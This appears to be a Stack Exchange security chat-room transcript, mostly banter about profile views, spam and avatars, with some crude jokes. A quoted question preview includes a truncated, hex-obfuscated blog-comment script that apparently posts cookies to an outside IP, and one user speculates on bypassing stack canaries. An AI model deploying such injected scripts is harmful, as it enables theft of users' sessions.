The DMZ

Rory McCune

18:00

@schroeder very mixed, quite a few security managers are ex-audit, some are ex-IT others come from risk roles

schroeder

Thanks - I am looking them up

tylerl

@DavidFreitag clearly you're using a different youtube

Rory McCune

So a big variance in tech levels. I remember chatting to the guy who ran a large security department at a bank and him telling me how he'd spent the weekend overclocking his PC

schroeder

@RoryMcCune that's what I figured

lol

Thanks all for your help

David Freitag

It's there i swear.

Shows up when i load a vieo.

Simon

18:03

Isn't it only on Chrome?

Rory McCune

@schroeder np if you see @roryAlsop around ask him too he's got a lot of experience in that field (also he may well be hiring :) )

David Freitag

Dunno, Chrome is all i use.

tylerl

@DavidFreitag Same here. Clearly my youtube is better than yours. Or the other way around.

David Freitag

@tylerl I like the loading bar. If it helps, i am moving from one video in a playlist to another (in the same playlist).

I zips by pretty fast. Atleast on my gigabit connection.

schroeder

@RoryMcCune Will do!

Cherokee

18:22

@Xander Thanks for editing my answers twice man . I will try and improve upon my grammar .

Xander

@Cherokee No worries. The biggest issue for me is all the capitalized words. That makes it really hard to read. The grammar isn't as big a deal, I just like to go ahead and clean it up, since I'm already in there fixing the capitalization.

David Freitag

Damn, Wesleyan doesn't allow students to use any form of calculator in their multivariable calculus classes.

Cherokee

@Xander . Sure , i will take care of capitalization from now on .

David Freitag

That's pretty ridiculous.

Thomas Pornin

@DavidFreitag Are brains allowed ? Brains can be quite powerful calculators, if properly trained.

Simon

18:29

It is painful to solve integrates in the long way, though.

David Freitag

@ThomasPornin It's true, and specifying "electronic devices" won't count out the brain either.

Thomas Pornin

@Simon That's the point of education. It MUST be painful; otherwise, it does not work.

David Freitag

@Simon Not really, integrals are cake. It's once you start to involve the chain rule etc. where you have over 30+ integrals to solve the original equation where a calculator comes in handy.

Simon

@ThomasPornin You do have a point.

Thomas Pornin

(Philosophically, it should be possible to learn without suffering, but biologically it does not seem to work that way. Alas.)

David Freitag

18:31

I can't wait for the day where i can flash new firmware onto portions of my brain.

Be able to look at a sentence and generate a SHA256 hash just by looking at it.

Plug a GPU into the back of my head and run rainbow tables.

Simon

@DavidFreitag You think you're gonna be alive when that'll be possible?

Thomas Pornin

@DavidFreitag Ya know, that kind of feat won't make you more popular with girls.

David Freitag

@Simon I plan on cryogenically freezing myself when i get old

Simon

@ThomasPornin Here we go, I'm the weirdo who laughs at work again.

@DavidFreitag You really like Futurama, don't you?

David Freitag

@Simon Actually, yes.

@Simon You mean at the hospital, right?

Simon

18:34

@DavidFreitag I meant that I woke up the patient next to me, yes.

David Freitag

@Simon It must be painful to laugh, what with your appendix killing you.

Simon

@DavidFreitag Morphine, life's actually good.

David Freitag

@Simon I broke my arm when i was a kid. They tried to give me morphine, but i told them to eat shit and die. (i was in a lot of pain).

Simon

@DavidFreitag Duke Nukem?

David Freitag

@Simon Never played those games, but i suppose. I'm not sure how i broke my arm, but i distinctly remember not letting the doctors give me anything for the pain

Simon

18:39

@DavidFreitag Morphine was awesome when I had to wait until the next morning for the appendix surgery. You should have said yes!

David Freitag

Nah, taking pain killers denies your brain the ability to build certain neural pathways. A higher tolerance for pain has been linked to a lack of overall use of pain killers.

I mean, don't get me wrong i take advil for pesky headaches, but i'm not about to take morphine.

Simon

Meh, I'm pretty resistant to pain in general but that was quite something.

Thomas Pornin

@DavidFreitag Similarly, a high tolerance to hunger has been linked to a lack of food.

David Freitag

@Simon I just don't like the thought of ignoring important messages from my brain. It's like hiring security guards, but tasering them all the time.

Simon

So you don't like to have too many drinks, hehe.

David Freitag

18:50

@Simon No, that's not ignoring important messages, that's ignoring the regular ones. Also, since I have introverted tendencies, it takes more alcohol to shut down brain functions for me.

Simon

Well, it depends what you would label as important. Alcohol does help to ignore pain.

David Freitag

Not nearly as well as morphine. It's also not easy to get addicted to alcohol. You really have to need to be addicted to alcohol.

Thomas Pornin

@DavidFreitag What is important in a message about your broken arm ? You already know it is broken; you have done anything you can about it. What is the point in being reminded of it continuously ?

David Freitag

@ThomasPornin It acts as a constant reminder to keep me from breaking it again

Thomas Pornin

@DavidFreitag Ah well. Personally I use my conscious brain to tell me that breaking my own arms is not a good idea. For now, my brain appears to be pretty convincing since my arms remain unbroken.

Adnan

18:58

People here: Please flag the following as SPAM (Make sure you use the flag button). Flagging as SPAM triggers auto delete without needing mods

This: security.stackexchange.com/questions/40247/…

and this: security.stackexchange.com/questions/40245/…

Simon

Sure.

David Freitag

@ThomasPornin Nah, i'm a natural born skeptic. Sometimes i can't trust that my brain is really telling me what is best for me.

Simon

They're deleted now, I'm so powerful.

Adnan

Wow, I had no idea this existed

> 6 flags (spam or offensive): post is locked, deleted, and the first revision owner loses 100 reputation.

I meant the last part

David Freitag

First revision owner? What does that mean?

Xander

19:02

@Adnan Quick! Let's all go to SO and see how quickly we can bring Jon Skeet back down to 0.

:-)

David Freitag

lol

Adnan

@Xander Thinking about it, I wonder how reversible that would be.

Yeah, I think it would be trivially reversible. Especially with someone like Jon Skeet

tylerl

WTF Spam?

-2

Q: ((WaTcH)) Leeds vs Chesterfield Live Streaming Soccer Video Online Sopcast HD TV

Leeds vs Chesterfield Live Soccer Online Streaming TV Link Leeds vs Chesterfield Live Time: 22:00 Date: 7th August Soccer Enjoy This Live Game Here Welcome to everyone to watch this exciting Soccer Match between Leeds vs Chesterfield. The Game is Scheduled on Tuesday, 7th August at 22:00 Time. S...

content-delivery-network

Xander

@Adnan We would only need to flag 5,920 of his 26,695 posts. How hard can it be?

tylerl

Why does someone want us to watch the game SOOO BADLY.

why why why?

Simon

19:05

It's been loaded with spam the last 2 days.

Xander

@tylerl Not only that game. There have been a bunch of games promoted here in the last couple of days. Apparently, we're supposed to be big soccer fans or something.

Adnan

I'm starting to like this, it's increasing my helpful flags count

> Each spam flag counts as a downvote for calculating the post's score (it does not affect the user's reputation).

Talk about learning a new thing everyday

Xander

@Adnan LOL. Me too.

Simon

Same.

I'm at 25 now!

David Freitag

You only learn one new thing per day? Either someone isn't paying attention or you live a very sheltered life.

Adnan

19:08

@Simon Holy shit! That's more than me!

Xander

@Simon You get a nice new shiny at 80.

And another at 500.

security.stackexchange.com/help/badges/66/deputy

Simon

@Adnan That means you're start flagging a lot now, hehe.

@Xander Nice!

@Adnan You're lying, I see your name in the list.

Pfft.

Adnan

@Simon Nah, I have 154, I was just trying to make you feel better

Simon

PFFFT

Adnan

WOOOOOOOHOOOOOO!!! Finally, SE fixed the profile views bug!

Now I can run my experiments!

Most viewed profiles on IT Security

Xander

19:11

@Adnan Grr....I have 153. >:-(

Simon

What the fuck. This dude keeps whistling the same notes over and over again. And it's loud as hell.

I hear it perfectly even though I have my headphones on.

Adnan

Hmmm.. bethlakshmi is #9

bethlakshmi, Boston, MA

7.4k 1 11 37

cryptography certificates authentication ssl public-key-infrastructure certificate-authority encryption

Simon

And he just stopped. Complaining helps.

Adnan

But why is he #9?

Xander

@Simon Maybe he's tuning his oscilloscope.

Simon

19:13

Is the dataexplorer limited to SELECTs?

@Xander Nah, he's just a weirdo.

Woohoo I'm #89

Adnan

His stats are way less than other users below him

Thomas Pornin

@Adnan He is a she, actually.

Xander

@Adnan You mean, "Why is she #9?"

Thomas Pornin

She was more active in early days.

Maybe that's why she got a lot of profile views.

Adnan

@Thomas @Xander Hmmm.. did she have a picture of herself before this one?

Thomas Pornin

19:14

@Adnan Ah ! A philosophical question.

Simon

@Adnan You're a bad stalker, click on her linkedin profile.

Thomas Pornin

Before the mantis, she had a different picture, which featured a human head.

The rest of the interpretation is up to you.

Adnan

Yup, that explains it

web.archive.org/web/20120103141305/http://stackoverflow.com/…

Xander

@Adnan I'm sure at some point she has indeed had a picture of herself. Particularly since she posted one on LinkedIn.

Adnan

@Xander Check ^

@ThomasPornin Makes much more sense now actually.

Looking at the the profile view stats is actually VERY interesting.

Thomas Pornin

19:19

I did not know I had so many readers on the profile only. I should use it as a blog site. Is there a limit on the text size ?

tylerl

@Adnan I think I get the cake for least-interesting high-rep user. Me or jimbob depending on how you calculate it.

Adnan

@ThomasPornin I know a user who had a really long text there. Its TLDR probably needed a TLDR

@Thomas @Xander @Tylerl While the number of posts; reputation; and account age are important factors, there are some very interesting outliers.

Disregarding accounts with picture depicting human females.

Simon

Human females are scary.

Xander

@Adnan Yeah? Who are some of the outliers?

And what about reputation per post?

Adnan

@Xander For example, @lucas Has more than 4 times @Scott's posts, he has 2 times his comments, and about 2 times his reputation. Yet Scott's profile is viewed more than Lucas'

Xander

19:23

I'd expect users with high rep answers to highly viewed posts to have high profile views as well, even if they didn't have much other activity or rep.

David Freitag

@Simon Does that make Dj Stephanie an alien? Or a man?

Simon

@DavidFreitag She cannot be categorized, she is one of a kind.

David Freitag

@Simon I see, she is some kind of man-woman-alien hybrid. Nice work.

Simon

@DavidFreitag You can't understand.

Xander

@Adnan Ah! So @LucasKauffman's average rep/post is going to be about half what @ScottPack's is, meaning his posts are going to show up further down the threads than Scott's will.

Presumably.

Adnan

19:27

@Xander Another example is me and makerofthings7. He has 1.5x my comments, very similar rep to mine, 3x my posts, and has been here 2 years before me. Yet I have nearly 2x the profile views he has.

Thomas Pornin

@Adnan @ScottPack was there way before the arrival of @LucasKauffman. The view count is cumulative, so age counts.

Xander

@Adnan Now that's really interesting, since he posts a lot of questions, which means many of his posts will be right at the top of the page.

Scott Pack

@Adnan So what you're saying is that Lucas' posts are only about half as good as mine. Makes sense.

Adnan

@ThomasPornin It does, but he's been here only 8 months before Lucas. Remember, that's nearly 3 years ago. The site wasn't as active as now. Other factors are more important in this case.

@Xander Exactly, which made me disregard that factor as well in Lucas and Scott case.

Thomas Pornin

@Adnan Well, if I take my own example, awesomeness appears to be an important factor, indeed.

Adnan

19:30

@ScottPack I'm saying that your profile picture is more intriguing to click at than Lucas'

David Freitag

@ThomasPornin Sheer badassery will always attract attention.

Scott Pack

@Adnan Well yeah. It's much more attractive. That was never a point of debate.

Xander

So the main difference I see, is @Scott is wearing a cute hat in his profile pic, while @Lucas is cuddling an ugly llama. I think that's got to account for most of it.

Scott Pack

Plus, Lucas looks German.

Xander

And, you've already beat me to that conclusion.

Adnan

19:31

Actually, normalizing with other factors (I don't know the exact expression), @Scott has more views than @Thomas

Xander

@ScottPack Yup. And everybody knows that Germans have boring profiles.

David Freitag

Note to self, add boobs to all profile pictures.

Scott Pack

@Xander Albeit exceptionally efficient.

David Freitag

Hah. I just got a coworker with a packet of exothermic foam. He is currently chipping pieces of foam out of his keyboard with a pencil.

Simon

@Xander The hat is the only reason why I upvote his answers.

Adnan

19:37

You see, @Thomas has more than 14x @Scott 's posts. He has 10.7x @Scott's reputation. Yet he only has 6.1x his profile views.

@Scott There's something in your picture

CodesInChaos

Yay 6666 rep on crypto.SE

Adnan

@CodesInChaos Hwahahahahaha

tylerl

Inexplicably Interesting People

data.stackexchange.com/it%20security/query/127713

Adnan

@tylerl So far, the first 5 are easily explained

tylerl

too bad you can't embed the profile pic in the query output

that'd probably explain lots.

CodesInChaos

19:42

being female clearly helps, but being banned tops everything else

Adnan

Andrew Smith: Suspended (rep turn into 1)
Zuly Gonzalez: Female (even more exposed than bethlakshmi)
anonymousquery: VERY famous question
Jeff Atwood: Well..
bethlakshmi: Female

CodesInChaos

Correction: Being female doesn't matter. Having a female avatar does.

Adnan

@CodesInChaos Indeed

Hmmm.. I should either get banned or put a stock picture of a moderately attractive woman.

CodesInChaos

I've long given up on inferring real life sex from avatar sex

@Adnan or both!

Adnan

Or I could just put a picture of me instead of my boyfriend

(Extreme plot twist)

Xander

19:46

@CodesInChaos @Adnan Definitely. I'll bet the Bad Girl persona is a winner.

David Freitag

@Adnan So confused. Back to trolling intel documents.

Simon

@Adnan A/S/L?

AJ Henderson

@tylerl wow, I hadn't noticed that people had visited my profile that many times

Adnan

@Simon Damn it! You've just brought back awful memoirs from my Omegle phase.

Simon

@Adnan Hahaha

Adnan

19:51

@tylerl I've just noticed I'm #12

David Freitag

@AJHenderson It's the kitteh. Cannot resist

Adnan

@Simon Being a woman on Omegle isn't a very good experience.

AJ Henderson

@Simon analog subscriber line?

Simon

@Adnan Ok, Adnana.

@AJHenderson Exactly!

Scott Pack

@Adnan Don't forget #6 is a mod

AJ Henderson

19:57

@CodesInChaos get banned for putting an overly revealing woman as your avatar

Adnan

@Simon For some reason, only Slavic women call me Adnana. Are you a Slavic woman?

@AJHenderson That's brilliant!

AJ Henderson

@Adnan though I recommend against using tubgirl

it might not get the intended effect

though then again, this is the internet, so who knows, it might

Simon

@Adnan You busted me.

AJ Henderson

@Simon oh, better yet, Adnan's Stalking Lover

Adnan

@AJHenderson That describes many people here.

AJ Henderson

20:00

@DavidFreitag the best way to avoid becoming confused in this chat is to start that way

Simon

Admire Simon LeGrand sounds better, imo.

AJ Henderson

@Simon No Canada like French Canada?

Simon

@AJHenderson I'm confused.

AJ Henderson

I just put together your last name and the fact you are from Canada

Simon

It's not my real last name, hehe.

AJ Henderson

20:06

ah

Adnan

Everybody, refresh your pages

AJ Henderson

@Simon apparently I'm 3.5 hours due south of you if your location in your profile is correct though

Adnan

Svetlana, Finland

14.5k 3 40 77

encryption passwords web-application privacy ssl http windows

2

Please welcome, Svetlana.

Simon

@AJHenderson Ya it is, where you at?

AJ Henderson

Albany NY area

Adnan

20:08

What the hell?! It didn't update in the chat!

Simon

Ah, yeah. That's not far at all.

AJ Henderson

hop skip and a jump down 87, not sure if it is still 87 once it hits canadia

looks like it becomes 15

Simon

It's ok, my GPS would know.

Adnan

What the hell?! No love for Svetlana?

Simon

She definitely doesn't look as good as DJ Stephanie.

David Freitag

20:10

@Adnan It's hard to type with one hand

5

@Simon You're on drugs, she looks ten times better than your woman-man-alien hybrid does.

AJ Henderson

that's a little creepy that I grew up pretty much down the street from Simon, as long as you consider 220 miles of 87/15 to be "the street"

Simon

How dare you.

@AJHenderson Haha.

I grew up ~45 mins away from Montreal but still, pretty close.

Now I live there.

Adnan

Is my old name still showing in the chat?

David Freitag

Yes

Simon

Yes.

Adnan

20:12

God damn it!

And a picture of grass?

AJ Henderson

as is the picture of the hay

Adnan

Hmmm.. it must be taking some time to update

Simon

I hit Ctrl+F5 and it's the new picture but same username.

David Freitag

You may have to leave and re enter a few times.

It's what i had to do to get my gravatar to update.

AJ Henderson

ctrl-f5 still has the grass for me

Adnan

20:14

@Simon What picture?

Simon

Grass.

Xander

@Simon security.stackexchange.com/review/late-answers

Adnan

and now?

AJ Henderson

@Svetlana now it updated

Xander

@Svetlana Yup. New name and pic.

David Freitag

20:15

Well this is an unfortunate side affect. Trying to search for information on what happens during a stack overflow has become quite difficult indeed.

Simon

@Xander It says nothing to review!

Svetlana

I'll leave this for a a few days and we'll see the how the profile views go. I now have 1,221 views.

Xander

@Simon Sorry. :-( I thought there was going to be a post there for you.

David Freitag

So @Adnan is now @Svetlana? Jeepers, i feel bad about what i said. Unless i'm still confused and Adnan is still actually a guy conducting an ingenious experiment.

7

Simon

@Xander Haha, no problem. It's actually nice of you to think about me :P

AviD

20:17

@Svetlana ah, so the real you finally comes out.

AJ Henderson

@DavidFreitag that's why - operators are your friend :)

Simon

Wow, that's weird.

Svetlana

31 mins ago, by Adnan

Or I could just put a picture of me instead of my boyfriend

Simon

When people reply to Adnan, it says Svetlana but I still see you as Adnan.

Xander

@Simon Ctrl + F5

David Freitag

20:18

@Svetlana I'm still not sure whether i believe it.

Simon

Yup, it's fixed now.

I want Adnan back though.

Svetlana

@Simon Awwwww :*

Simon

@Svetlana I bet the pic of DJ Stephanie and I would get more views than yours.

But we can't test that now, as I don't answer enough questions.

Svetlana

@Simon Christ on the cross!! Enough with her already!!

David Freitag

@Simon Bwahahahaha, now i'm the crazy guy falling out of my chair laughing at work.

AJ Henderson

20:19

@Simon well on the one side it has DJ Stephanie, but on the other hand it has you

we'll leave which is the good side and which is the bad up to the imagination

Simon

@Svetlana Who are you?

@DavidFreitag Well deserved.

@AJHenderson So theoretically, I'd get *2 views!

David Freitag

Now that i think about it though, it makes sense that you are a girl. You do have some very girly tendencies.

Xander

@Simon @AJHenderson stole it from you.

David Freitag

I should just assume that everyone on the internet is a figment of my imagination, and thus is sex-less. That might backfire though.

Thomas Pornin

@Svetlana There's a cache, and it may take some hours to update. It won't update for everybody simultaneously, either. Tomorrow, all changes should have been propagated everywhere.

David Freitag

20:22

@ThomasPornin Everyone just needs to refresh, it updated for me at least.

Simon

@Xander Noooooooooo!

David Freitag

Yes, lets ride this Nop sled until the stack smashes, then, and only then will we have root access.

Simon

GUYS THERE'S A REOPEN VOTE!

AviD

@ThomasPornin There's always a cache.

Svetlana

I should do this with all my online accounts. That way homosexual men will stop hitting on me.

5

Waaaait a minute!

David Freitag

20:35

@Svetlana Then straight men will hit on you...

Thomas Pornin

@DavidFreitag I think you understood the joke.

Svetlana

Anybody wanna join the train?

12

Q: I found obfuscated code in a comment on my blog. What should I do?

Today I was checking comments on my blog and I found a strange comment, here is the exact text <script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{c...

exploit javascript xss obfuscation

Although I don't really like that user

Or the question

David Freitag

@ThomasPornin Nah, i think i'm still lost.

AJ Henderson

@Svetlana depends, is svetlana leading the train

Svetlana

@AJHenderson Chooo Chooo

tylerl

20:38

@AJHenderson Don't forget to shake the caboose on the way out.

Svetlana

I almost forgot! I've just updated the picture so now it can't be found with Google Image reverse search

AviD

@Svetlana oh yeah, I was gonna close that.

I think its too borderline to close now with the attention its already got...

Svetlana

@AviD Well, it brought some nice traffic to the site

AviD

I like the user, but I really dont like the type of questions.

Svetlana

@AviD I don't like him because he made a big deal out of me rejecting one of his edits

AviD

20:40

@Svetlana heh. I chalk that up to newbieness.

David Freitag

That doesn't make sense.

I order to protect from Stack Overflow, GCC implemented a SSP "canary" that gets checked just before the stack gets cleaned up and execution returns to the initial branch.

If you use a nop sled to smash the stack and run into a payload of shellcode, it overwrites the canary and execution is halted.

But, the canary is always 8 bytes from the end of the stack, so why couldn't you copy it to the beginning of your payload and call it a day. Or better yet, have your payload restore the canary once it's been overwritten.

paste

@Svetlana Why did you change your picture to a dude? You were a pretty girl.

Svetlana

@paste Yeah, I was too pretty for StackExchange. I decided to tone it down a bit

David Freitag

@paste Yeah i kinda said the same thing.. a bit vulgarly.

Svetlana

@DavidFreitag It's alright, an American could take something by William Blake and recite it verbatim and it would sound vulgar.

That's just a skill of you people.

TildalWave

20:49

@Svetlana I'm not sure that I feel comfortable with your boob job :}

David Freitag

@Svetlana You people What's that supposed to mean?

AviD

@TildalWave ~~boobiiess!!~~ Sveeetlaaaanaaa!!

TildalWave

@AviD shuddup!

Svetlana

@DavidFreitag People from this part of the world

@TildalWave With time, we will all feel comfortable.

TildalWave

@Svetlana LEGOLand?

David Freitag

20:51

@Svetlana I know it was a joke. I desperately want to leave this country, for this very reason.

TildalWave

@Svetlana well you already do, I'm sure :P

Svetlana

I'm slightly disconcerted by this change, though. I'm afraid that my personality will start adapting to this.

David Freitag

Hopefully it's not too late in life for me to lose my American sledgehammer attitude.

TildalWave

@Svetlana Neah, you were always a bit of a tit anyway :P

Svetlana

@DavidFreitag Oh come on! Don't say that! What about Murica #1!!! U..S..A!! And "We're the only country with freedom".

AviD

20:52

the obfuscated js exploit is now top of the supercollider.

David Freitag

@Svetlana That sentence makes me want to kill someone.

AviD

I guess its not really a reptrain unless I almost close it.

TildalWave

@AviD didn't read it yet but... does it go by the name "prettify"?

Xander

@DavidFreitag Traitor.

AviD

@TildalWave hmm? Talking about this security.stackexchange.com/q/40227/33

Svetlana

20:54

@AviD If the next question by that guy GreenFly goes reptrain, I'll go insane.

AviD

@Svetlana haha

Svetlana

He asked only 2 questions and both of them are reptrains

AviD

Well, its the simple questions that go training. and @greenfly is a simple folk ;-)

TildalWave

@AviD Oh... well... close enough. Someone didn't find the hex decoder ddecode.com/hexdecoder

David Freitag

@Xander America is great, don't get me wrong. I just hate the negative stereotypes. They are so freaking true it's unbelievable.

Svetlana

20:55

Come on people! We need an answer on that obfuscation question. We need to keep it there until tomorrow!

AviD

@Svetlana boooo

dont push it, remember I want to close it anyway.

David Freitag

@TildalWave I use my IDA Pro for that monkey work.

TildalWave

@DavidFreitag or that

That comment thread on the downvoted answer is hilarious :))

David Freitag

The canary must not be the only SSP that GCC implements. It just can't be.

I'll have to compile some code with and without -fstack-protector and see what GCC spits out.

Svetlana

21:11

@AviD True, that was a bit unethical, even fore me

Xander

22:35

Customers keep my life nice and exciting. That is all.

AviD

@Xander That's what a prostitute would say.

Undo

Would it be OK to ask a probably really dumb question here that's probably too broad for the main site?

Xander

@AviD In a manner of speaking.

@Undo Yes.

Undo

@Xander Thanks :) Now I have to type it...

Gilles

@Undo sure. worst thing is, we tell you to ask on the site

(no, I'm lying. The local crowd can do much worse. But hopefully that's the worst thing we'll do to you.)

Undo

22:47

I'm thinking of writing an SaaS app that will need to have two pieces of information which really shouldn't be leaked. When an event happens in an outside server, the server will call a URL on my server, which runs a program which performs an action using the two values. How can I keep the values secure?

These values are, like, crazy-important.

Gilles

@Undo design a secure architecture :) Yes, it's a broad question

My first reflex would be to reserve the values to one program

Undo

What do you mean?

Gilles

make that program only do local processing with well-defined interfaces

have a separate process deal with the frontend

better yet, run the processes on separate machines

Undo

So an MVC variation?

Gilles

dunno

I'm an embedded guy, I don't know what MVC is (I've heard the term, is all)

Undo

22:53

Modal-View-Controller, code separation.

One way I have thought of is to have the two values sent by the calling server in PHP arguments over SSL - they stay static, and are end-user definable.

Gilles

@Undo Model

it's at least vaguely on those lines but I don't know if the concept fits

Undo

AAAck, typing on mobile :)

Gilles

@Undo mmmm, no

the idea is that you never send the two values

Undo

Reasons?

Gilles

only the data computed from the two values

Undo

22:57

Even over SSL?

Gilles

that way, even if the frontend is compromised, the values are safe

you make the backend do as little as possible, and especially no fancy data processing that might lead to code execution

@Undo ssl is irrelevant

it protects data in transit

it doesn't protect against intrusions

Undo

...but not at the other end. Gotcha.

Well, I have something to think about now. Thanks!

Simon

#BringAdnanBack2013

Transcript for